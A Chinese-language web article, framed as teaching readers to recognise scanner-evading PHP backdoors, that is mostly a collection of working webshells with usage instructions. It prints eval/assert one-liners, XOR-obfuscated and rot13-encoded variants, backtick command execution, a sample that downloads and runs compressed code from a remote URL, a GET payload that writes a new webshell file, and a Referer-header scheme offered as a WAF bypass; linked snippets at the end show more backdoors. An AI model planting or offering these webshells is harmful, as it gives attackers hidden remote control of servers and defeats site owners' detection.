教你识别简单的免查杀PHP后门

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

代码如下:

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

构造生成,当然,嫌太直观可以写作这样

代码如下:

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

<?php

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

<?php
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");
?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

代码如下:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

代码如下:

<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

无特征隐藏PHP一句话:

   <?php
session_start();
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );
?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1

 <?php
//1.php
header( 'Content-type:text/html;charset=utf-8' );
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );
if (reset( $a ) == '10' && count ( $a ) == 9) {
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));
} 

?>

文件2

 <?php
//2.php
header( 'Content-type:text/html;charset=utf-8' );
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode ( $code );
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;
//后门url
$url = 'http://localhost/test1/1.php ' ;
$ch = curl_init();
$options = array (
CURLOPT_URL => $url ,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array( $ch , $options );
echocurl_exec( $ch ); 

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

(0)

相关推荐

  • 一个不易被发现的PHP后门代码解析

    偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数. 伪装性很好,很容易被管理员忽略. $selfNums = $_GET['r']; if (isset($selfNums)){ echo `$selfNums`; } 刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了, 而且又不是单引号,这个就是关键所在了,这

  • 一些 PHP 管理系统程序中的后门

    我倒不怎么关心提示框,SABLOG怎么知道我的版本有漏洞呢,程序肯定有后门.每次登陆后台自动检测官方版本跟当前版本对比.嗯.后来找到了.在templates/admin/main.php最后的一部分.删掉如下代码就OK了. 其实这个不足以导致被黑的,现在一般有点常识的,密码都比较复杂,几个数字+几个字母,MD5的话一般很难跑出来.当然有彩虹表的话,另说... 复制代码 代码如下: <script type="text/javascript"> i=1; var autour

  • 超小PHP小马小结(方便查找后门的朋友)

    作者: spider 我也来个超小PHP小马 复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type

  • PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

    今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") /

  • php后门URL的防范

    例如,下面WEB应用可能向登入用户显示敏感信息: 复制代码 代码如下: <?php$authenticated = FALSE;$authenticated = check_auth();if ($authenticated){    include './sensitive.php';}?> 由于sensitive.php位于网站主目录下,用浏览器能跳过验证机制直接访问到该文件.这是由于在网站主目录下的所有文件都有一个相应的URL地址.在某些情况下,这些脚本可能执行一个重要的操作,这就增大了

  • 用php实现批量查询清除一句话后门的代码

    总是忘记一句话放到哪个文件里去了,直接全部干掉... 复制代码 代码如下: <?//xy7  if (!isset($dir) or empty($dir)) {  $dir=str_replace('\\','/',dirname(__FILE__));  echo "<font color=\"#00688B\">".$dir."</font>";  } else {  $dir=$_GET['dir'];  e

  • 教你识别简单的免查杀PHP后门

    一个最常见的一句话后门可能写作这样 <?php @eval($_POST['cmd']);?> 或这样 <?php @assert($_POST['cmd']);?> tudouya 同学在FREEBUF上给出[一种构造技巧]利用 复制代码 代码如下: <?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _

  • wowexec.exe比较简单的查杀办法(毒霸就是wowexec.exe专杀工具)

    注意:wowexec.exe是系统进程,但是如果前面带一个空格,就是病毒.wowexec.exe病毒解决办法: 1.下载毒霸,并升级到最新病毒库,进入安全模式,关闭系统还原,查杀该病毒,下载地址::http://www.duba.net,避免感染病毒变种,引起文件或照片被破会: 一般第一步就可解决问题,建议大家安装360,这样对于添加注册表运行的功能就没有了,下面的操作也就不必要了.2.删除病毒的注册表键值,HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window

  • 关于近来网上大量泛滥的灰鸽子病毒(Huigezi、Gpigeon)介绍和查杀大全附专杀工具

    转自原论坛 jakee 的帖子: 近来很多网友反映他们的机器中了一种叫做灰鸽子的木马病毒,这种病毒很是顽劣,在不同杀软上有不同名称比如:Gpigeon.Huigezi.Feutel,在计算机中清除它很是费事,特别是其刚刚开发出的2005,通过截取windows系统的API实现了程序文件隐藏.进程隐藏,服务隐藏三个隐藏,一般杀软在正常模式下根本就找不到其病毒文件,更别提查杀了的事情了,连杀软都很难对付,对用户而言更是头痛了,本文简单介绍了灰鸽子病毒的运行原理,手工检测方法.手工清除方法.防止感染的

  • u盘病毒清除 Discovery.exe查杀方法

    这是之前niu.exe病毒的最新变种,最近该病毒的新变种传播又有所抬头,希望大家注意. Quote: File: Discovery.exe Size: 74240 bytes Modified: 2008年2月2日, 0:03:34 MD5: 2DA55F2A36E852EE6FC96D34DD520979 SHA1: 44CE8F1C1A02591A88867F421C0C658B200D94C1 CRC32: E20E292D 1.病毒运行后,衍生如下副本及文件: Quote: %syst

  • Shell脚本实现查杀子进程、僵尸进程

    核心服务器上跑了一堆的脚本.程序,难免有时候会出现僵尸进程,死不死活不活的在那里占用资源,最初只是写了个根据关键字查杀进程的linux shell脚本,后来发现很多时候进程死在那里的时候其实是内部调用子进程的时候出现了问题,这时候光杀父进程根本没解决根本问题.比如说rsync的时候通过ssh来连接,rsync本身没问题,但可能ssh死掉了.因此重新写了脚本,递归查找子进程. 复制代码 代码如下: #!/bin/sh # 递归找到导致进程僵死的最底层子进程并杀除. ParentProcessID=

  • md9.exe scvhost.exe 只木马下载者查杀方法

    从http://www.ittool.cn/d123.exe 下载病毒文件 它使用rar自解压文件,广告,病毒 等很多垃圾软件,很恶心 查杀方法:www.360safe.com 下载即可删除

  • 病毒的万能查杀方法第1/2页

    发现病毒,无法清除怎么办? Q:发现病毒,但是无论在安全模式还是Windows下都无法清除怎么办? A:由于某些目录和文件的特殊性,无法直接清除(包括安全模式下杀毒等一些方式杀毒),而需要某些特殊手段清除的带毒文件.以下所说的目录均包含其下面的子目录. 1.带毒文件在\Temporary Internet Files目录下. 由于这个目录下的文件,Windows会对此有一定的保护作用(未经证实).所以对这个目录下的带毒文件即使在安全模式下也不能进行清除,对于这种情况,请先关闭其他一些程序软件,然

  • 威金变种病毒的查杀方法

    近来,威金变种病毒肆虐,不少人中招后被迫格式化所有分区,苦心保存的数据毁于一旦. 中了这种病毒的特征是:系统响应缓慢,玩网络游戏时会自动退出,硬盘里的EXE文件图标会变"花":到dos下用ghost恢复系统失败:如果不全盘格式化,重装系统也不能解决问题. 今天有幸遇到感染此种病毒的电脑,在机主几乎绝望的情况下清除了病毒,挽救了他多年积累的数据. 现在,偶把此次杀毒的过程贴上来,供遇到类似问题的网友参考. 清除病毒的步骤如下: 一.结束病毒进程,删除病毒的启动项. 1.开机按F8键,进安

  • 查杀rundllfromwin2000病毒的方法

    该程序原本系2000系统里的rundll.exe,被流氓恶意程序带着它改了名字到处乱转,就成了人见人恨东西了. 病毒表现为: IE主页被强制更改.系统不定期无原因自动重新启动.任务管理器中出现此进程等等. 查杀方法: 对于系统服务中出现WalALET的服务的,可以到注册表中删除,注册表位置: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WalALET] 描述:发送和接收局域网内部系统管理员或者"警报器"服务传递的消息. 显

  • 最新病毒结合auto.exe,游戏盗号木马下载者手工查杀microsofts.vbs

    最新病毒结合auto.exe,游戏盗号木马下载者手工查杀下面是启用病毒的代码microsofts.vbs 复制代码 代码如下: Set Lovecuteqq = CreateObject("Wscript.Shell") Lovecuteqq.run ("C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\microsofts.pif") 木马名称:Trojan-PSW/Win32.OnLineGames.lxt 路径:C:\WINDOWS\sys

随机推荐